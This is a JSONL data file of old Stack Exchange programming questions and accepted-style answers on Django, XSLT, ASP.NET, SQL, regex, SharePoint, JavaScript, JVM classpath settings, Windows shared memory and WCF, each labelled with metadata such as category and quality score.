{"id": "hf_86593807d2b4", "question": "<p>One of my API calls can result in updates to a large number of objects (Django models). I'm running into performance issues with this since I'm updating each item individually, saving, and moving on to the next:</p>\n\n<pre><code>for item in Something.objects.filter(x='y'):\n    item.a=\"something\"\n    item.save()\n</code></pre>\n\n<p>Sometimes my filter criterion looks like \"where x in ('a','b','c',...)\".</p>\n\n<p>It seems the <a href=\"http://code.djangoproject.com/ticket/661\" rel=\"nofollow noreferrer\">official answer to this is \"won't fix\"</a>. I'm wondering what strategies people are using to improve performance in these scenarios.</p>\n", "question_body": "", "answer": "You need to use transactions or create the sql statement by hand. You could also try using SQLAlchemy which supports a few great ORM features like Unit of Work (or application transaction).\nDjango transactions:\nhttp://docs.djangoproject.com/en/dev/topics/db/transactions/?from=olddocs\nSQLAlchemy:\nhttp://www.sqlalchemy.org/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.807145"}
{"id": "hf_8bdb7e795e85", "question": "<p>I have something like this:</p>\n\n<pre><code>&lt;node TEXT=\"   txt A   \"/&gt;\n&lt;node TEXT=\"\n\n       txt X\n\n\"/&gt;\n&lt;node&gt;\n   &lt;html&gt;\n      &lt;p&gt;\n        txt Y\n      &lt;/p&gt;\n   &lt;/html&gt;\n&lt;/node&gt;\n&lt;node TEXT=\"txt B\"/&gt;\n</code></pre>\n\n<p>and i want to use XSLT to get this:</p>\n\n<pre><code>txt A\ntxt X\ntxt Y\ntxt B\n</code></pre>\n\n<p>I want to strip all useless whitespaces and linebreaks of @TEXT's and CDATA's. The only XML-input that is giving structure to the output are the <code>&lt;node&gt;</code>-tags.</p>\n", "question_body": "", "answer": "You probably want\n```\n```\n<xsl:strip-space elements=\"node\"/>\n```\n```\nexplained\nhere\n. And this\narticle\nhas a lot more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.872829"}
{"id": "hf_47cf50794470", "question": "<p>I'm looking for a good online resource of software patterns. Preferably something with a comprehensive selection and concise well written explanations, not just a collection of links. .Net examples would be nice, but not essential.</p>\n", "question_body": "", "answer": "Enterprise Solutions Patterns using Microsoft .NET\nDesign Patterns for ASP.NET Programmers\nData and Object Factory, Inc -- Patterns\nDesignPatternsFor.Net", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.904411"}
{"id": "hf_f6024880d33d", "question": "<p>I added the following to my web.config to redirect the user to the login page if they aren't authenticated, but going to the URL does cause a redirect?</p>\n\n<pre><code> &lt;location path=\"user/add\"&gt;\n    &lt;system.web&gt;\n      &lt;authorization&gt;\n        &lt;deny users=\"?\" /&gt;\n      &lt;/authorization&gt;\n    &lt;/system.web&gt;\n  &lt;/location&gt;\n</code></pre>\n\n<p>I have setup forms authen. like this:</p>\n\n<pre><code>&lt;authentication mode=\"Forms\"&gt;\n      &lt;forms loginUrl=\"/user/login\"\n             protection=\"All\"\n             timeout=\"30\"\n             name=\"MyCookie\"\n             requireSSL=\"false\"\n             slidingExpiration=\"true\"\n             defaultUrl=\"default.aspx\"\n             /&gt;\n\n\n    &lt;/authentication&gt;\n</code></pre>\n\n<p>Using .net and mvc.</p>\n", "question_body": "", "answer": "For one of my applications I have the following in the same node as\n```\n<authentication>\n```\n:\n```\n```\n<authorization>\n    <deny users=\"?\"/>\n</authorization>\n```\n```\nBut this covers the entire application...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.963883"}
{"id": "hf_81d4a52aa202", "question": "<p>I'm trying to use MySQL to create a view with the \"WITH\" clause</p>\n\n<pre><code>WITH authorRating(aname, rating) AS\n   SELECT aname, AVG(quantity)\n   FROM book\n   GROUP BY aname\n</code></pre>\n\n<p>But it doesn't seem like MySQL supports this.</p>\n\n<p>I thought this was pretty standard and I'm sure Oracle supports this. Is there anyway to force MySQL to use the \"WITH\" clause?  I've tried it with the MyISAM and innoDB engine.  Both of these don't work.</p>\n", "question_body": "", "answer": "Oracle does support WITH.\nIt would look like this.\n```\n```\nWITH emps as (SELECT * FROM Employees)\nSELECT * FROM emps WHERE ID < 20\nUNION ALL\nSELECT * FROM emps where Sex = 'F'\n```\n```\n@ysth WITH is hard to google because it's a common word typically excluded from searches.\nYou'd want to look at the\nSELECT docs\nto see how subquery factoring works.\nI know this doesn't answer the OP but I'm cleaning up any confusion ysth may have started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.012109"}
{"id": "hf_c4c06ddc448c", "question": "<p>I'm working on a social networking system that will have comments coming from several different locations.  One could be friends, one could be events, one could be groups--much like Facebook.  What I'm wondering is, from a practical standpoint, what would be the simplest way to write a comments table?  Should I do it all in one table and allow foreign keys to all sorts of different tables, or should each distinct table have its own comment table?  Thanks for the help!</p>\n", "question_body": "", "answer": "This is an equivalent question to\nthis one\n.\nEDIT: Based on a comment, it isn't clear that this is an equivalent question, so I spell it out below.\nBoth questions ask about projects (both happen to be Social Networks, but that's just coincidence) where there is a question about the performance of the database. Both have a diverse set of objects that share a common collection of attributes (in one it is Events, that occur on each object, in the other it is Comments that occur on each object).\nBoth questions effectively ask whether it is more efficient to create a UNION query that combines the disparate common features, or to factor them out into a common table, with appropriate foreign keys.\nI see them as equivalent; the best answer to one will apply equally to the other.\n(If you disagree, I am happy to hear why; please leave a comment.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.036183"}
{"id": "hf_61e9bc8f6f7b", "question": "<p>I am looking for a regex pattern that would match several different combinations of \nzeros such as 00-00-0000 or 0 or 0.0 or 00000 </p>\n\n<p>Please help</p>\n\n<p>Thanks!</p>\n\n<p>EDIT:</p>\n\n<p>Well, I have web service that returns me a result set, based on what it returns me I can decide if the result is worth displaying on the page. So if I get either 00-00-0000 or 0 or 00000 I would assume that data was not found, however if it brings back 001 or 000123 or 0356.00 - 1000 or 0.6700, this would be valid.</p>\n\n<p>Hope this clarifies my question</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You need to better define what is valid to appear between the zeros.  Going from your question, I'll assume you're looking for any number of zeros with any number and grouping of \"-\" and \".\" between them....\n```\n0([-.]?0+)*\n```\nHope you don't mind, SoapBox:\nBased on the question edit, what you are looking for is any string that has non-zero digits in it, so:\n```\n[1-9]\n```\nor, if the regex engine automatically anchors start and end of string:\n```\n.*[1-9].*\n```\nmay be the better solution.\nThis is the reverse of the test you asked for but that's a simple matter to change (reverse the sense of the if-statement).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.084416"}
{"id": "hf_1ed424d5785d", "question": "<p>I'm researching Open Source GIS resources - and wonder out of all the Open Source tools that are out there - what people are actually using / finding useful.</p>\n\n<p><a href=\"http://en.wikipedia.org/wiki/GIS_software\" rel=\"noreferrer\">http://en.wikipedia.org/wiki/GIS_software</a></p>\n", "question_body": "", "answer": "Here's a few I use regularly\npostgis\ngdal\nmapserver\nuDig\ngrass\ngeos\ngeoserver\ngmt\nopenlayers\ntilecache\nqgis\nBig list here\nhttp://opensourcegis.org/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.120792"}
{"id": "hf_860db8f574a0", "question": "<p>i have a winforms application.  i have a user control with a lot of icons.  the user can load this control on a form many times (in a tabbed layout).  right now i am loading the icons each time the control is created (could be up to 50 times in teh app).  is there any way to cache these icons in the application.  if i did this, would that decrease the number of gdi handles that i am using as this is becoming an issue.</p>\n", "question_body": "", "answer": "You can make a singleton class for each icon. The first reference it creates the handle. Subsequent calls uses the existing handle.\nWithout knowing more about your user control my next suggestion can be only be very general. But you could have a single bitmap layer on which you draw all your icons. The remaining elements of your user control would exists above and around this bitmap.\nUnfortunately this idea may be problematic performance wise. Require you to refactor the code you all ready use for arranging icons. Finally it is non-institutive from how frameworks with a control-form structure ideally works.\nWe ran into a resource problem with entry forms for the parameteric shape we ship with our CAM software. Too many text entries caused various forms of strangeness and leaks. So we instead created labels with borders that looked like text entries and had ONE text entry (and a combo box entry too). When the user tabs, enters, or clicked the single text entry moved to the new entry and the label was setup for the previous entry.\nThis is totally a non-intuitive setup than how you would normally code this but it was the only way to deal with our resource problem.\nIn my experience it seems that GUI Frameworks have issues when you have to deal with dozens or hundreds of entries and that you have to approach the problem using a different design.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.157375"}
{"id": "hf_d6383d205a41", "question": "<p>I have an onclick handler for an &lt;a&gt; element (actually, it's a jQuery-created handler, but that's not important).  It looks like this:</p>\n\n<pre><code>function handleOnClick() {\n    if(confirm(\"Are you sure?\")) {\n        return handleOnClickConfirmed();\n    }\n    return false;\n}\n</code></pre>\n\n<p>From this function, the <strong>this</strong> object is accessable as the &lt;a&gt; element clicked.  However, handleOnClickConfirmed's <strong>this</strong> is a Window element!  I want handleOnClickConfirmed to have the same <strong>this</strong> as handleOnClick does.  How would I do this?</p>\n\n<p>(I know I can pass <strong>this</strong> as an argument to handleOnClickConfirmed, but some of my code already uses handleOnClickConfirmed and I don't want to have to rewrite those calls.  Besides, I think using <strong>this</strong> looks cleaner.)</p>\n", "question_body": "", "answer": "The following ought to do it:\n```\n```\nfunction handleOnClick() {\n    if( confirm( \"Sure?\" ) ) {\n        return handleOnClickConfirmed.call( this );\n    }\n    return false;\n}\n```\n```\nThe\n```\ncall()\n```\nfunction attached to\n```\nFunction\n```\nobjects is designed to allow this; calling a function with a desired context. It's an extremely useful trick when setting up event handlers that call back into functions within other objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.194193"}
{"id": "hf_885f559bd93e", "question": "<p>can anyone show me how to get the users within a certain group using sharepoint?</p>\n\n<p>so i have a list that contains users and or groups. i want to retrieve all users in that list. is there a way to differentiate between whether the list item is a group or user. if its a group, i need to get all the users within that group.</p>\n\n<p>im using c#, and im trying to do thins by making it a console application.</p>\n\n<p>im new to sharepoint and im really jumping into the deep end of the pool here, any help would be highly appreciated.</p>\n\n<p>cheers..</p>\n", "question_body": "", "answer": "The first thing you need to know is that when you have a list with a User / Group field you must be aware of its type. When you have one user or group within the item value, the field type is SPFieldUserValue. However, if the field has multiple user / group selection the field type is SPFieldUserValueCollection.\nI'll assume that your field allows a single user / group selection and you already has the following objects:\n```\n```\nSPSite site;\nSPWeb web;\nSPListItem item;\n```\n```\nNow, we'll check the field value for a user / group and retrieve a list of users, independant of which kind it is (the field's name is\n\"Users\"\n).\n```\n```\nSPFieldUserValue usersField = new SPFieldUserValue(mainWeb, item[\"Users\"].ToString());\nbool isUser = SPUtility.IsLoginValid(site, usersField.User.LoginName);\nList<SPUser> users = new List<SPUser>();\n\nif (isUser)\n{\n    // add a single user to the list\n    users.Add(usersField.User);\n}\nelse\n{\n    SPGroup group = web.Groups.GetByID(usersField.LookupId);\n\n    foreach (SPUser user in group.Users)\n    {\n        // add all the group users to the list\n        users.Add(user.User);\n    }\n}\n```\n```\nI hope it helps you.\nTks,\nPedro José Batista", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.218062"}
{"id": "hf_55e22041a668", "question": "<p>I'm trying to display the contents of an ordered array in something like a JTextField.</p>\n\n<pre><code>for (int i=0; i&lt;array.length; i++) {\n    this.textField.setText(array[i]);\n}\n</code></pre>\n\n<p>This won't work for two reasons. The first minor reason: if the array length is 4 then jtextfield is getting it's value reset 4 times rather than appending each element onto the last.\nSecond reason: The JTextField only takes strings. I can't find anything I can use in Swing that will let me display integers to the user. Any help?</p>\n", "question_body": "", "answer": "You can concatenate all those integers into a string the then present that value in the textfield.\n```\n```\nStringBuilder sb = new StringBuilder();\nfor( int i : array ) {  // <-- alternative way to iterate the array\n     sb.append( i );\n     sb.append( \", \" );\n}\n\nsb.delete(sb.length()-2, sb.length()-1); // trim the extra \",\"\ntextField.setText( sb.toString() );\n```\n```\nYou can use a JTextArea instead of the textfield too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.292284"}
{"id": "hf_1164df451d3c", "question": "<p>I am using a RichTextBox in WPF, and am trying to set the default paragraph spacing to 0 (so that there is no paragraph spacing).  While I could do this in XAML, I would like to achieve it programmatically if possible.  Any ideas?</p>\n", "question_body": "", "answer": "Using Line Height\n```\n```\nRichTextBox rtb = new RichTextBox();    \nParagraph p = rtb.Document.Blocks.FirstBlock as Paragraph;    \np.LineHeight = 10;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.316453"}
{"id": "hf_9e766bbfc298", "question": "<p>How do I create an ASP.NET web service that returns JSON formatted data?</p>\n", "question_body": "", "answer": "The most important thing to understand is to know how to represent data in JSON format.\nPlease refer\nhttp://www.json.org/\nto know more about it.\nOnce you understand this, then the rest part is pretty straight forward.\nPlease check the following URL for an example of the same.\nhttp://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=264\nhttp://code.msdn.microsoft.com/JSONSampleDotNet\nhttp://www.phdcc.com/xml2json.htm\nI recommend Jquery library for this.  It's a lightweight rich library which supports calling web services, handle json data format output etc.\nRefer www.jquery.com for more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.340833"}
{"id": "hf_c566397244ab", "question": "<p>Given a jQuery result set, how do you convert that back into plain HTML?</p>\n\n<pre><code>&lt;div class=\"abc\"&gt;\n    foo &lt;strong&gt;FOO&lt;/strong&gt;\n&lt;/div&gt;\n&lt;div class=\"def\"&gt;\n    bar\n&lt;/div&gt;\n</code></pre>\n\n<p>--</p>\n\n<pre><code>var $mySet = $('div');\n</code></pre>\n\n<p>Given <code>$mySet</code>, how would you go about returning to the plain HTML above?</p>\n", "question_body": "", "answer": "```\n```\nvar $mySet = $('div');\nvar html = $mySet.html();\n```\n```\nIf you want the element's HTML as well (untested):\n```\n```\nvar $mySet = $('div');\nvar html = $mySet.clone().wrap('<div></div>').html();\n```\n```\nBy the way, here $ is part of the variable name.  Javascript doesn't require a $ like in PHP for variable names, but it doesn't hurt to have it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.403161"}
{"id": "hf_723922c76b24", "question": "<p>I'd like to use visitor IP addresses into a company name. This will be used for displaying something like \"Hello visitor from <strong>Apple Inc.</strong>\" . Note I am looking for the company name, not the domain name. Extra points for determining the originating country. The app is written in Ruby on Rails, but examples in other languages will do. Thanks!</p>\n", "question_body": "", "answer": "There are databases for this kind of thing, but they are hardly 100% accurate, so I'd think long and hard before using them to make assumptions regarding content you present to your visitors. If you still want to do it, here are two companies that offer databases that include organization level detail:\nhttp://www.maxmind.com/app/ip-location\nhttp://www.ip2location.com/\nEdit to clarify based on additional answers:\nThe organization level detail in the databases from these vendors is different than ISP information, which is what the others are referring to. The databases from the vendors above are actually assigned organizational information based on research, not reverse lookup on IP ownership.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.427733"}
{"id": "hf_c2a4bb90b4d9", "question": "<p>Here I am faced with an issue that I believe(or at least hope) was solved 1 million times already. \nWhat I got as the input is a string that represents a length of an object in imperial units. It can go like this:</p>\n\n<pre><code>$length = \"3' 2 1/2\\\"\";\n</code></pre>\n\n<p>or like this:</p>\n\n<pre><code>$length = \"1/2\\\"\";\n</code></pre>\n\n<p>or in fact in any other way we normally would write it.</p>\n\n<p>In effort to reduce global wheel invention, I wonder if there is some function, class, or regexp-ish thing that will allow me to convert Imperial length into Metric length?</p>\n", "question_body": "", "answer": "The regexp would look something like this:\n```\n```\n\"([0-9]+)'\\s*([0-9]+)\\\"\"\n```\n```\n(where \\s represents whitespace - I'm not sure how it works in php). Then you extract the first + second group and do\n```\n```\n(int(grp1)*12+int(grp2))*2.54\n```\n```\nto convert to centimeters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.464759"}
{"id": "hf_5f7e502e4ffd", "question": "<p>Like this: const void * test = sqlite3_column_blob(stat, 1);\nCan I delete or delete[] test?</p>\n", "question_body": "", "answer": "Look at its API Manual. If it is a C API, you probably have to\n```\nfree\n```\nit. If it doesn't provide its own function like sqlite3_free (pcre does this for example), you have to use that function.\nWhat you can't do is delete it using C++'s delete operator, since you have got a void pointer. You cannot delete a void pointer, since the compiler has to know about its type. (and void is an incomplete type. you can't delete incomplete types either).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.512131"}
{"id": "hf_46835d6aca79", "question": "<p>I have a project built and packaged with a specific version of jsp-apiand servlet-api jar files. Now I want these jars to be loaded when deploying the web project on any application server for example tomcat, WAS, Weblogic etc.</p>\n\n<p>The behaviour I have seen on tomcat is that it gives messages that the packaged version of these apis are not loaded along with an offending class.</p>\n\n<p>Is there any way I could override these server settings or behaviour?</p>\n\n<p>My concern is that letting the default behaviour of a server may allow different behaviour on different servers or even on different versions of same app server.</p>\n", "question_body": "", "answer": "If you have control over the server where you want to install this webapp you can replace the core jars with yours.\nAdditionally you can prepend the jars in the startup of the app server.\nUpdate:\nAs for the second part, you'll need to modify the startup file of the application server it self.\nI don't have an installation at hand but lets suppose in the dir $YOUR_APPSERV/bin there are a bunch of scripts ( either .cmd or .sh files )\nSome of them start the app server , some other help to configure it.\nYou need to modify one of those in such a way the command line look like this:\n(assume a windows installation)\n```\n```\njava -Xbootclasspath/p:c:\\cutomjars\\myJar.jar;customjars\\myOtherJar.jar ..................... // the rest of the normal command line.\n```\n```\n-bootclasspath/p prepends the jars to the app classpath\n-bootclasspath/a appends the jars to the app claspath\nThis option let you override any class in the JVM with those specified in the jars, so you can even substitute java.lang.String if you want to.\nThat's one approach. Unfortunately -Xbootclasspath is an option for Sun JVM ( that is JRockit does not have it, nor the IBM's VM what ever his name is )\nThere was another option where you declare a folder where all the extensions are. Plus, there is an ext directory in the jre.\nTake a deep dive into your application server bin directory and find out what each script is used for, I'm pretty sure you'll make it through.\nHere's a more formal explanation of this topic:\nhttp://java.sun.com/j2se/1.5.0/docs/tooldocs/findingclasses.html\nI hope it helps.\nBTW, I use to do this years ago, to substitue the CORBA package with a veeeery old version.  So this works for sure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.563581"}
{"id": "hf_1cb0b2b47a7f", "question": "<p>While looking at the <code>syntax-case</code> section in R6RS, I saw the keyword <code>make-variable-transformer</code>, described as an <em>identifier macro</em>. The example given is very minimal, and I am not groking why it is necessary, or what use-cases require it. Finding additional examples of its use is also proving difficult. Presumably it makes some form of syntax transformation possible, or more elegant?</p>\n", "question_body": "", "answer": "After reading\nhttp://www.r6rs.org/final/html/r6rs-lib/r6rs-lib-Z-H-13.html#node_sec_12.3\nmy take is as follows:\nIf\n```\nmac\n```\nis a syntax transformer\n```\n(mac foo (bar baz))\n```\nwould replace the entire s-expr with the result of the transformation this could result in anything say\n```\n(SOMETHING)\n```\n, while\n```\n(foo mac bar)\n```\nwould replace only\n```\nmac\n```\nresulting in\n```\n(foo SOMETHING bar)\n```\n.\nNormally\n```\n(set! mac 'foo)\n```\nwould signal an error it seems that the transformer can not appear on the left of a set expression, but if\n```\nmac\n```\nis a variable transformer\n```\n(set! mac 'foo)\n```\nwould instead call\n```\nmac\n```\nwith the whole s-expr.\nMy intuition tells me this would be useful if you start implementing datatypes with macros.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.600602"}
{"id": "hf_3e554872930f", "question": "<p>Maybe this cannot be done, but please help or suggest how this can be achieved without writing something to disk.</p>\n\n<p>Lets suppose there are two string values that I want to share between two independent applications.</p>\n\n<p>You are welcome to provide code sample in any programming language.</p>\n", "question_body": "", "answer": "What you probably want to do is create a memory-mapped file. You can create a memory-mapped file that doesn't have any backing store on disk, but is instead backed by the system page file. Have a look at the documentation for\n```\nCreateFileMapping\n```\n, in particular when the first parameter is\n```\nINVALID_HANDLE_VALUE\n```\n.\nYou can give such a file mapping a unique system-wide name, and then other applications can open it using\n```\nOpenFileMapping\n```\nand providing the same name.\nOnce you have such a block of shared memory, you can put any information you like into it. Note that since the memory is shared across processes, you don't want to store any pointers into the block of memory (which precludes doing things like storing a\n```\nstd::string\n```\nthere).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.624915"}
{"id": "hf_2cd7030f29ef", "question": "<p>I have a Jar file, which contains other nested Jars. When I invoke the new <code>JarFile()</code> constructor on this file, I get an exception which says:</p>\n\n<blockquote>\n  <p>java.util.zip.ZipException: error in opening zip file</p>\n</blockquote>\n\n<p>When I manually unzip the contents of this Jar file and zip it up again, it works fine.</p>\n\n<p>I only see this exception on WebSphere 6.1.0.7 and higher versions. The same thing works fine on tomcat and WebLogic. </p>\n\n<p>When I use JarInputStream instead of JarFile, I am able to read the contents of the Jar file without any exceptions.</p>\n", "question_body": "", "answer": "It could be related to log4j.\nDo you have log4j.jar file in the websphere java classpath (as defined in the startup file) as well as the application classpath ?\nIf you do make sure that the log4j.jar file is in the java classpath and that it is NOT in the web-inf/lib directory of your webapp.\nIt can also be related with the\nant version\n(may be not your case, but I do put it here for reference):\nYou have a .class file in your class path (i.e. not a directory or a .jar file). Starting with ant 1.6, ant will open the files in the classpath checking for manifest entries. This attempted opening will fail with the error \"java.util.zip.ZipException\"\nThe problem does not exist with ant 1.5 as it does not try to open the files. - so make sure that your classpath's do not contain .class files.\nOn a side note, did you consider having\nseparate jars\n?\nYou could in the manifest of your main jar, refer to the other jars with this attribute:\n```\n```\nClass-Path: one.jar two.jar three.jar\n```\n```\nThen, place all of your jars in the same folder.\nAgain, may be not valid for your case, but still there for reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.662404"}
{"id": "hf_7ec3e5fbcf33", "question": "<p>I have a question about using <code>new[]</code>.</p>\n\n<p>Imagine this:</p>\n\n<pre><code>Object.SomeProperty = new[] {\"string1\", \"string2\"};\n</code></pre>\n\n<p>Where SomeProperty expects an array of strings.</p>\n\n<p>I know this code snippet will work. But i want to know what it does under the hood. Does <code>new[]</code> makes an instance of the class <code>object</code> and in <code>SomeProperty</code> it converts it automatically to a <code>string</code> object? </p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "This is just syntactical sugar. The compiler will infer the type actually necessary here and create code that is equivalent to the explicit construct:\n```\n```\nObject.SomeProperty = new string[] {\"string1\", \"string2\"};\n```\n```\nThere's no such thing as\n```\nnew[]\n```\nthat gets executed at runtime.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.768664"}
{"id": "hf_4d08dc7254fa", "question": "<p>For this WCF service I have developed, I have to set MaxReceivedMessageSize to 5MB. My current problem is figuring out whether it is better to have a larger MaxBufferPoolSize value, like 5MB, or retain the original 512KB value.</p>\n\n<p>Does anyone knows what is the recommended setting for this scenario?<br>\nIn short, should I set MaxBufferPoolSize = 5242880 (5MB), or MaxBufferPoolSize = 524288 (512KB)?</p>\n\n<p><strong>UPDATE:</strong> For clarification, the service is meant to insert a new customer record along with some scanned documents. As a result, the message size may reached up to 5MB.  </p>\n\n<p>We <em>could</em> try and separate the upload of the scanned document using alternate technologies, but the requirement was both customer record and scanned documents must be in the same transaction, so we decided to go with this approach, until we figure out how to use WCF's transaction capability.</p>\n", "question_body": "", "answer": "5 Mb seems like a lot of data to transfer over a Web Service.\nThe first thing you should look for is to send less data.\nSecondly you need to set the size to your needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.805088"}
{"id": "hf_1cb43287c527", "question": "<p>What would be the best way to display &amp; program simple game board (say chess, checkers and such) in C#? In terms of controls and underlying game logic. </p>\n\n<p>An idea that came to my mind was to use <strong>Picture Box</strong> (or class inheriting from it) with Board &amp; Field classes. </p>\n\n<ul>\n<li>Is that a decent solution after all? </li>\n<li>How would I separate graphics from game logic using this solution (I believe Board &amp; Field classes may not be enough)? </li>\n<li>Is PictureBox efficient enough for such purpose? </li>\n</ul>\n\n<p>Googling some also brought me to solutions using button/label for each game field. But back to Board, Field and PictureBox. </p>\n\n<p>Extendability - designing it properly would easily allow to implement any other board game (or even card game) as it's all about board with modifiable fields after all.</p>\n", "question_body": "", "answer": "In an object-oriented approach, think about the objects involved in your game (e.g. the board, the pieces) … let them each provide a drawing method that takes a\n```\nGraphics\n```\nobject and draws itself on it.\nThe drawing itself could be done on a\n```\nPictureBox\n```\n– this is the ideal control for such purpose – but this isn't really all that important because once your drawing logic is in place, it won't depend on the kind of control.\nIn general,\ndon't\nuse workarounds with different controls. These might be nice for a conventional GUI. Not so much for games (or any kind of graphics-heavy application).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:53.829025"}
